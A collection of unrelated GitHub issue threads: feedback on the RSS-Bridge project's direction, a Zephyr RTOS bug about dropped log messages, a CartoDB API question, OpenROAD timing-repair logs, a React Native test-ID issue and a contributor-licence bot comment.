One more goal: we need better stacktraces for easier coding and debugging. This touches upon logging and error handling. E.g. when the env is dev (or debug is enabled) we should spit out the entire stacktrace plus some additional info. I'm thinking we should log errors (and their stacktraces) regardless of the env or debug mode.

I really like this project and I want to see it be successful. I've sort of set it and forgot about it until now. The Twitter changes have made me take notice. Plus the RSS reader I use has stopped working.
I think there are a few problems issues with this project:

It relies on old-school scrapping.
It's written in PHP.
More and more walled gardens.
There's really good competition that just works ™. (e.g. https://rss.app/)

With the rise of Cloudflare and SPA using JavaScript, this is less and less useful. I believe in order to support the more popular bridges you'll need to scrap with a full-blown browser. (e.g. puppeteer, Selenium, etc.)
Also not a bad idea to use or support something APIs that do render and return the HTML:

https://www.scraperapi.com
Phantombuster

I tired and ran into errors.
 I think it's fine, however, it's not one of the most popular languages that people know really well. I don't know any PHP.
I think if the bridges were "No-Code" and abstracted away there might be more traction on supporting them. Or if they could be written in python or JS/TS which are the two most popular languages in the world right now. I would be happy to support one or two if it was in one of these languages.
~Facebook~ Meta is blocking Facebook groups and Instagram more and more. This will continue.  The only way to circumvent is #1.
The bridges randomly stop working too much and I'm at the point where I might pay for rss.app. I want something that is more rock solid.
Anyways, this is my 2 cents.

I believe in order to support the more popular bridges you'll need to scrap with a full-blown browser. (e.g. puppeteer, Selenium, etc.)

As other option - common chromium browser with userscript. Like I did in my InstagramBridge modifications that mentioned in https://github.com/RSS-Bridge/rss-bridge/issues/3128 and haven't prepared for publishing to main RSS-Bridge repo. But in general this bridge somehow works in a public instance.

 I think it's fine, however, it's not one of the most popular languages that people know really well. I don't know any PHP.

PHP is still widely used for web applications. So php is popular language. This should be enough.

The bridges randomly stop working too much and I'm at the point where I might pay for rss.app. I want something that is more rock solid.

Instead of paying for rss.app, I suggest you to make an agreement with @dvikan, where you pay him money and he provides RSS-Bridge instance that works as good as rss.app for you. For example my InstagramBridge modifications and some merged PRs are based on payed customization of InstagramBridge, that I did for money.

Thanks @dvikan for reaching out!
I only use my instance to create some personal feeds for simple(r) services and it works. And because there is not so much traffic, the instance is running public.
Regarding the topic, in short: For me it's essential to run maintained code and that the software fits to my setup (Nginx + PHP).
Currently I'm happy, but I don't care so much about the availability of my service. (= If I I couldn't host it by myself anymore, I would miss only ~10 feeds, of 500 …)
Maybe u should think about this (more underlying) question: Will/should RSS-Bridge be a industrial-grade software, or (more, like it IMHO is) a personal software (for easy + secure) self-hosting?
BR + 👍

Upvote for these:

Find a solution to anti-bot systems (e.g. cloudflare captcha/DataDome)
Bridge discovery from url (e.g. resolving http://twitter.com/foo to the correct bridge) (https://github.com/RSS-Bridge/rss-bridge/issues/2361)
Attract more bridge maintainers so that bridges get repaired faster
Add feature to reconfigure an existing feed
Add some protections to instances with high traffic volume (to prevent being banned, throttled etc., internal rate limiter)

Re: Improve DX, any specifics here? I see there is a devcontainer and I find writing new Bridges pretty straight forward. Do you mean additional helper functions, etc?

With the rise of Cloudflare and SPA using JavaScript, this is less and less useful. I believe in order to support the more popular bridges you'll need to scrap with a full-blown browser. (e.g. puppeteer, Selenium, etc.)

please see #3970

One thing I did in a local branch for DX is I changed the caching behavior in debug mode: I want to cache remote resources while I avoid caching the locally generated feeds. The current behavior which disables the cache entirely can make things a bit slow and runs the risk of running into rate limits.

Another thing might be: clarify how we would like bridges to fail.
For example, the FB bridge will return items even if the URL is missing. You could take the position that the bridge ought to try to show you everything it can even if it's incomplete, or that it ought to only return complete items. I favor only returning complete items because a missing URL causes my feed reader to duplicate the items.


tests/posix/fs test show messages dropped in the logs

Describe the bug
suddenly, running tests/posix/fs test cases shows messages dropped in logs.
I can see the issue for nrf52840_pca10056 board, but the same test passes for qemu_x86.
To Reproduce
Steps to reproduce the behavior:

mkdir build; cd build
cmake -DBOARD=nrf52840_pca10056
make
See error

Expected behavior
all test cases should be reported pass/fail
Impact
cannot judge if the test cases result is pass/fail?
**Screenshots or console output**
^[[1;31m--- 40 messages dropped ---
^[[0mPASS - test_fs_mkdir
===================================================================
starting test - test_fs_readdir
readdir test:
Listing dir /RAM:/testdir:
[FILE] TESTFILE.TX
PASS - test_fs_readdir
===================================================================
Test suite posix_fs_test succeeded
===================================================================
RunID: :bhdk
PROJECT EXECUTION SUCCESSFUL

Environment (please complete the following information):

OS: Fedora29
Toolchain: Zephyr SDK 0.10.0
Commit SHA or Version used: [2d43d181bf]

Additional context
If I change to commit with the SDK v0.9.5, say [2320973fea], i don't see this issue and all test cases are reported pass.

same issue with tests/kernel/common
--- 38 messages dropped ---
===================================================================

starting test - test_slist
PASS - test_slist
===================================================================
starting test - test_dlist
PASS - test_dlist
===================================================================
starting test - test_intmath
PASS - test_intmath
===================================================================
starting test - test_timeout_order
PASS - test_clock_uptime
--- 6 messages dropped ---
===================================================================
starting test - test_clock_cycle
PASS - test_clock_cycle
===================================================================
starting test - test_version
PASS - test_version
===================================================================
starting test - test_multilib
PASS - test_multilib
===================================================================
starting test - test_thread_context
PASS - test_thread_context
===================================================================
Test suite common failed.
===================================================================
RunID: ci-190325-1356-597:xjdn
PROJECT EXECUTION FAILED

Noticing the same problem on qemu_nios2 and altera_max10 for samples/subsys/logging/logger/
[00:00:04.129,999] <inf> main: Logging transient string:transient_string
Severity levels showcase.
[00:00:04.129,999] <err> main: Error message example.
[00:00:04.129,999] <wrn> main: Warning message example.
[00:00:04.129,999] <inf> main: Info message example.
[00:00:05.189,999] <inf> main: performance test - log message 254
--- 255 messages dropped ---
[00:00:05.189,999] <inf> main: performance test - log message 255

Unfortunately for me, my  test harness in sample.yaml is looking for the string Logging performance showcase which is on the first few lines of the 255 messaged dropped.

I don't see any connection described here between logging messages being dropped and tests fail.
Except for this one:

Unfortunately for me, my test harness in sample.yaml is looking for the string Logging performance showcase which is on the first few lines of the 255 messaged dropped. Thus, my test harness then declare the test case failed.

But then, your the harness is the culprit, and that's what needs to be fixed.
Unassigning from myself. If there's need for logging contact, it's @nordic-krch. I don't assign to him myself, as again, I don't see how logging is involved with any actual problems reported here.

@arun1joshi @cinlyooi-intel this is just a result of a buffer that is too small. You can increase the buffer size with:
CONFIG_LOG_BUFFER_SIZE=4096

in your prj.conf.
Since there are memory constraints in some of the boards I don't want to increase that size for all boards.

Expected behaviour, see previous comment.

@carlescufi

CONFIG_LOG_BUFFER_SIZE=4096

in your prj.conf.
Since there are memory constraints in some of the boards I don't want to increase that size for all boards.

I am reopening this because the issue did not happen before. It just happens now. Previously we were happily seeing all console messages, including very long ones.

Looks like a real bug to me. offending commit:
94ae61f765d385f2a55a92c53e3a940a79b41921 is the first bad commit
commit 94ae61f765d385f2a55a92c53e3a940a79b41921
Author: Krzysztof Chruscinski<EMAIL_ADDRESS>Date:   Wed Mar 13 09:54:56 2019 +0100

    logging: Force LOG_PRINTK option if RTT backend is used

    Log RTT backed is using mutex for locking access to RTT data.
    RTT console (which by default is used by printk) writes to
    RTT data directly and it cannot use mutex because it can be
    called from any context (including interrupt). If both
    modules access RTT buffer 0, data can be corrupted.

    This patch forces LOG_PRINTK option if RTT backend is used to
    ensure single point of access to RTT buffer 0 data.

    Signed-off-by: Krzysztof Chruscinski<EMAIL_ADDRESS>

on this board, CONFIG_RTT_CONSOLE=y which leads to printk messages being dropped if we redirect them to logger...

i'll take a look at that. As @nashif mentioned, it has to do with the fact that with RTT enabled printk obligatory goes through the logger. This commit (https://github.com/zephyrproject-rtos/zephyr/pull/12971/commits/e980082138a555f6d77b022abf4f0ef85c2c6ea8) enabled RTT by default on nordic boards. There are then 2 options:

increase buffer size
reconsider enabling RTT by default

@jarz-nordic when you've done #12971, was your intention to enable RTT backend by default? What was the reasoning?

@nordic-krch : Yes my intention was to enable RTT by default. Rationale behind is that these microcontrollers have a lot of memory so extra space for RTT won't hurt. In addition it enables a feature I need in shell tests for RTT backend. There was a github issue that file with this backend is not compiled and tested.

@nordic-krch how about another option, which is enabling CONFIG_LOG_IMMEDIATE in those tests? then we wouldn't need to increase the buffer size.

@carlescufi , yes, that could be an option. Timing of printk going through logger with LOG_IMMEDIATE will be more or less the same as printk direct to uart.

raising to high, this is causing many tests to fail.

logging: Force LOG_PRINTK option if RTT backend is used

That's what appears to be the issue. As discussed before, printk is one thing, logging is another. Trying to mix them up leads ... well, to weird mix-ups.


Visualization of that user does not exist

When i run this http://documentation.cartodb.com/api/v2/viz/4f131d46-d3d8-11e6-891f-0ee66e2c9693/viz.json i get the error below:
{"errors":"Visualization of that user does not exist"}
How can i fix this?

cc/ @csobier

Solved it
the url has the username parameter "documentation" - http://{username}.cartodb.com/api/v2/viz/4f131d46-d3d8-11e6-891f-0ee66e2c9693/viz.json is supposed to be replaced by my cartodb account username


report: use open.tcl which reads in timing properly

Waiting for variant 2, here is the table so far:
Stage: cts

Variant
base
1
3

crpr
11.47
11.47
21.8

skew
362.76
362.76
351.29

slack
-4490.124023
-4380.438965
-4755.364746

tns
-381370656.0
-374684800.0
-376241280.0

GPL_ROUTABILITY_DRIVEN

GPL_TIMING_DRIVEN

1

SETUP_SLACK_MARGIN

-1000

SKIP_CTS_REPAIR_TIMING

0
0

SKIP_INCREMENTAL_REPAIR

0

2_1_floorplan.log
1227
1227
3726

2_2_floorplan_io.log
38
38
39

2_3_floorplan_tdms.log
0
0
0

2_4_floorplan_macro.log
1859
1860
1585

2_5_floorplan_tapcell.log
38
38
39

2_6_floorplan_pdn.log
651
651
684

3_1_place_gp_skip_io.log
1034
985
979

3_2_place_iop.log
49
45
48

3_3_place_gp.log
2776
2746
10379

3_4_place_resized.log
655
620
636

3_5_place_dp.log
1602
1368
1503

4_1_cts.log
554
4413
3841

Base configuration variables

Variable
Value

CORE_AREA
2 2 1498 1498

DIE_AREA
0 0 1500 1500

FILL_CELLS

GPL_ROUTABILITY_DRIVEN
1

GPL_TIMING_DRIVEN
0

HOLD_SLACK_MARGIN
-200

IO_CONSTRAINTS
$(location :io-boomtile)

MACRO_PLACE_HALO
19 19

MAX_ROUTING_LAYER
M7

MIN_ROUTING_LAYER
M2

PDN_TCL
$(PLATFORM_DIR)/openRoad/pdn/BLOCKS_grid_strategy.tcl

PLACE_DENSITY
0.24

PLACE_PINS_ARGS
-annealing

ROUTING_LAYER_ADJUSTMENT
0.45

RTLMP_FLOW
1

SDC_FILE
$(location :constraints-boomtile)

SETUP_SLACK_MARGIN
-1300

SKIP_CTS_REPAIR_TIMING
1

SKIP_INCREMENTAL_REPAIR
1

SKIP_LAST_GASP
1

SKIP_REPORT_METRICS
1

SYNTH_HIERARCHICAL
1

TAPCELL_TCL

TNS_END_PERCENT
0

@maliberty @jeffng-or My understanding: for BoomTile_3_cts; here the SETUP_HOLD_MARGIN=-1000 is clearly unattainable, but repair finishes somewhat quickly as there is a lack of TNS progress. In other cases we saw miniscule TNS progress and timing repair will then run "forever" to try to reach an impossible WNS.
repair_timing -verbose -setup_margin -1000 -hold_margin -200 -repair_tns 0 -skip_last_gasp
[INFO RSZ-0094] Found 109589 endpoints with setup violations.
[INFO RSZ-0099] Repairing 1 out of 109589 (0.00%) violating endpoints...
   Iter   | Removed | Resized | Inserted | Cloned |  Pin  |    WNS   |   TNS      |  Viol  | Worst
          | Buffers |  Gates  | Buffers  |  Gates | Swaps |          |            | Endpts | Endpt
---------------------------------------------------------------------------------------------------
        0 |       0 |       0 |        0 |      0 |     0 | -4814.196 | -378115008.0 | 109589 | lsu/stq_26_bits_uop_prs2_busy$_DFF_P_/D
       10 |       0 |       1 |        5 |      2 |     4 | -4730.779 | -376498400.0 | 109589 | lsu/stq_26_bits_uop_prs2_busy$_DFF_P_/D
       20 |       2 |       1 |        8 |      2 |    11 | -4881.657 | -375813408.0 | 109589 | lsu/stq_26_bits_uop_prs2_busy$_DFF_P_/D
       30 |       7 |       3 |       13 |      3 |    11 | -6022.052 | -375408320.0 | 109589 | lsu/stq_26_bits_uop_prs2_busy$_DFF_P_/D
       40 |      10 |       3 |       16 |      3 |    17 | -6090.832 | -379895104.0 | 109589 | lsu/stq_26_bits_uop_prs2_busy$_DFF_P_/D
       50 |      13 |       5 |       19 |      4 |    20 | -6140.854 | -382650368.0 | 109589 | lsu/stq_26_bits_uop_prs2_busy$_DFF_P_/D
       60 |      17 |       6 |       21 |      6 |    22 | -6311.713 | -387654528.0 | 109589 | lsu/stq_26_bits_uop_prs2_busy$_DFF_P_/D
       63 |       0 |       1 |       14 |      2 |     6 | -4716.480 | -375733472.0 | 109589 | lsu/stq_26_bits_uop_prs2_busy$_DFF_P_/D
    final |       0 |       1 |       14 |      2 |     6 | -4716.480 | -375733472.0 | 109589 | lsu/stq_26_bits_uop_prs2_busy$_DFF_P_/D
---------------------------------------------------------------------------------------------------

In BoomTile_3_floorplan, 2_1_floorplan.log SETUP_HOLD_MARGIN is unttainable, but here progress on WNS enventually stops and repair terminates:
   Iter   | Removed | Resized | Inserted | Cloned |  Pin  |    WNS   |   TNS      |  Viol  | Worst
          | Buffers |  Gates  | Buffers  |  Gates | Swaps |          |            | Endpts | Endpt
---------------------------------------------------------------------------------------------------
        0 |       0 |       0 |        0 |      0 |     0 | -2195.436 | -114289224.0 |  63900 | core/int_issue_unit/io_dis_uops_0_ready_REG$_DFF_P_/D
       10 |       0 |       7 |        0 |      1 |     1 | -1346.351 | -80532448.0 |  63900 | core/int_issue_unit/io_dis_uops_0_ready_REG$_DFF_P_/D
[WARNING RSZ-0075] makeBufferedNet failed for driver core/rob/_99958_/CON
[WARNING RSZ-0075] makeBufferedNet failed for driver core/rob/_99958_/CON
[WARNING RSZ-0075] makeBufferedNet failed for driver core/rob/_99958_/CON
[WARNING RSZ-0075] makeBufferedNet failed for driver lsu/_716839_/SN
       20 |       0 |       9 |        2 |      2 |     7 | -1300.067 | -77633032.0 |  63900 | core/int_issue_unit/io_dis_uops_0_ready_REG$_DFF_P_/D
[deleted]
      128 |       2 |      83 |        8 |     11 |    24 | -1128.174 | -63322128.0 |  63898 | core/int_issue_unit/io_dis_uops_0_ready_REG$_DFF_P_/D
    final |       2 |      83 |        8 |     11 |    24 | -1128.174 | -63322128.0 |  63898 | core/int_issue_unit/io_dis_uops_0_ready_REG$_DFF_P_/D
---------------------------------------------------------------------------------------------------

If it stops early, do you need SETUP_HOLD_MARGIN?

If it stops early, do you need SETUP_HOLD_MARGIN?

Sometimes it stops early, others not.
It is the progress on WNS that causes it to stop, right? Even miniscule progress keeps it gnawing on the bone when SETUP_HOLD_MARGIN is hopeless.
I wish there was a better way to articulate my intent: terminate once progress is no longer rapid.
Especially as WNS is wildly different in floorplan and cts in megaboom


Animated.View do not expose test ids of views inside it for android build

Description
We have RN app and a part of app we are using Animated.View that holds other views but with Appium Inspector we can not locate views inside that view.
React Native Version
v0.70.6
Output of npx react-native info
info Fetching system and libraries information...
System:
OS: macOS 13.4.1
CPU: (8) arm64 Apple M1 Pro
Memory: 48.95 MB / 16.00 GB
Shell: 3.2.57 - /bin/bash
Binaries:
Node: 14.18.0 - ~/.nvm/versions/node/v14.18.0/bin/node
Yarn: Not Found
npm: 6.14.15 - ~/.nvm/versions/node/v14.18.0/bin/npm
Watchman: Not Found
Managers:
CocoaPods: 1.11.3 - /Users/XXXX//.rvm/gems/ruby-2.7.5/bin/pod
SDKs:
iOS SDK:
Platforms: DriverKit 22.2, iOS 16.2, macOS 13.1, tvOS 16.1, watchOS 9.1
Android SDK:
API Levels: 30, 31, 33
Build Tools: 30.0.3, 31.0.0, 33.0.0, 33.0.2, 34.0.0
System Images: android-30 | Google APIs ARM 64 v8a, android-30 | Google Play ARM 64 v8a, android-33 | Google APIs ARM 64 v8a, android-33 | Google Play ARM 64 v8a
Android NDK: Not Found
IDEs:
Android Studio: 2022.2 AI-222.4459.24.2221.9971841
Xcode: 14.2/14C18 - /usr/bin/xcodebuild
Languages:
Java: 11.0.19 - /Users/XXXX/Library/Java/JavaVirtualMachines/corretto-11.0.19/Contents/Home/bin/javac
npmPackages:
@react-native-community/cli: 9.3.2 => 9.3.2
react: ^18.2.0 => 18.2.0
react-native: 0.70.6 => 0.70.6
react-native-macos: Not Found
npmGlobalPackages:
react-native: Not Found
info React Native v0.72.3 is now available (your project is running on v0.70.6).
Steps to reproduce
create any view inside an Animated.View and try to locate it by id in Ai
 <Animated.View
          testID={ID1}
        >
          <Text
              testKey={ID2}
            >

 </Animated.View>

Snack, screenshot, or link to a repository

This can be closed, it's related to this

I remember migrated to version  0.70.13 solved the issue.
but it is not easy for all to migrate.


Adding the documentation on setting passwords using system properties and env variables

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

 All committers have signed the CLA.